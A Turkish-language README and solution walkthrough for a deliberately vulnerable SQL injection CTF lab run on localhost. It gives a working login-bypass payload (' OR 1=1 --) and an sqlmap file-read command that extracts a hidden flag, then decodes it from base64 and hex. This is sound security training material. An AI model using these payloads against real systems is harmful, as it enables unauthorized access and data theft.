Proje Hakkında
Bu proje, siber güvenlik alanında kendini geliştirmek isteyenler için hazırlanmış, zor seviyede SQL Injection açığı içeren bir CTF (Capture The Flag) laboratuvarıdır. Amacı, gerçekçi ve dayanıklı bir ortamda SQL Injection tekniklerini kullanarak:- Giriş kontrol mekanizmasını bypass etmek,
- Sistem dosyalarında gizlenmiş flag’i keşfetmek,
- Flag içeriğini base64 ve hex formatlarından çözümleyerek anlamak,
- Hazırlanmış ifade (Prepared Statements) yerine kasıtlı olarak zafiyetli SQL sorguları
- SQL Injection ile bypass edilebilir giriş formu
- Flag, veritabanında değil sistemin gizli bir klasöründe .assets/style.css dosyasına base64 olarak gömülü
- Flag içeriği hex formatında saklanmış, çözüm için analiz gerektiriyor
- Bootstrap tabanlı estetik ve kullanıcı dostu arayüz
- Yanıltıcı ipuçları ve sahte log kayıtlarıyla zorluk artırılmış
Kurulum
- Sunucu ortamı hazırla:
- Apache + PHP + MySQL çalışır durumda olmalı (örneğin XAMPP, MAMP veya benzeri).
- Apache + PHP + MySQL çalışır durumda olmalı (örneğin XAMPP, MAMP veya benzeri).
- Projeyi sunucuya kopyala:
- Proje dosyalarını htdocs veya www dizinine yerleştir.
- Proje dosyalarını htdocs veya www dizinine yerleştir.
- Veritabanını oluştur ve import et:
- PhpMyAdmin veya komut satırı ile yeni bir ctf_zor veritabanı oluştur.
- db.sql dosyasını veritabanına import et.
- PhpMyAdmin veya komut satırı ile yeni bir ctf_zor veritabanı oluştur.
- Web tarayıcısında projeyi aç:
- Örneğin: http://localhost/index.php
Nasıl Çözülür?
1. Giriş Formunu Bypass Etme (SQL Injection)
- Giriş formu kasıtlı olarak SQL Injection açığı içerir.
- Kullanıcı adı ve şifre alanlarına aşağıdaki payload’ları kullanarak giriş yapabilirsiniz:
Kod:
Kullanıcı Adı: ' OR 1=1 --<br>
Şifre: HerhangiBirŞey<br>
- Bu, sorgunun şu şekilde çalışmasını sağlar:
SQL:
SELECT * FROM users WHERE username='' OR 1=1 -- ' AND password='HerhangiBirŞey'
2. Gizli Flag Dosyasını Bulma
Flag, veritabanında değil sistemin gizli .assets klasöründeki style.css dosyasında saklanıyor.- Dosya içeriği içinde flag, base64 olarak gömülü.
- SQL Injection açığı kullanılarak dosya okuma yapılmalı (örneğin sqlmap ile):
Bash:
sqlmap -u "http://localhost/vulnerable.php?id=1" --file-read="/var/www/html/.assets/style.css"
- Böylece style.css dosyasının içeriğini elde edersiniz.
3. Flag’i Decode Etme
Dosya içeriğinde şu gibi base64 kodu vardır:
CSS:
meta::before { content: "base64:ZmxhZz0iNDY0YzQxNDc2NGE2NTY2N2MyMmMiOwo="; }
- Base64 çözümlemek için:
Bash:
echo ZmxhZz0iNDY0YzQxNDc2NGE2NTY2N2MyMmMiOwo= | base64 -d
- Çıktı şu şekildedir:
Kod:
flag="464c41477b546869734973486172647d";<br>
- Hex decode için:
Bash:
echo 464c41477b546869734973486172647d | xxd -r -p
- Sonuç:
Kod:
FLAG{ThisIsHard}<br>
Dosya ve Klasör Yapısı
Bash:
/
├── index.php # Giriş sayfası, SQLi açığı var
├── panel.php # Panel sayfası
├── hint.php # Yanıltıcı ipuçları
├── 404.php # Özel hata sayfası
├── db.sql # Veritabanı dump dosyası
└── .assets/ # Gizli klasör
└── style.css # Flag içeren dosya (base64 gömülü)
Güvenlik Notları
- Bu proje eğitim amaçlıdır, gerçek ortamda kullanılmamalıdır.
- Kasıtlı olarak SQL Injection açığı içermektedir.
- Yasal izin olmadan canlı sistemlerde test edilmemelidir.
Ileri Seviye Öneriler
- Blind SQL Injection senaryosu ekleyebilirsiniz.
- Local File Inclusion (LFI) ve Remote File Inclusion (RFI) açıkları ile çeşitlendirebilirsiniz.
- XSS, CSRF gibi diğer zafiyetlerle labı zenginleştirebilirsiniz.
- Çoklu kullanıcı ve yetki kontrolü ekleyerek gerçekçilik artırılabilir.
Proje Linki: Github
Yapimci: Troll

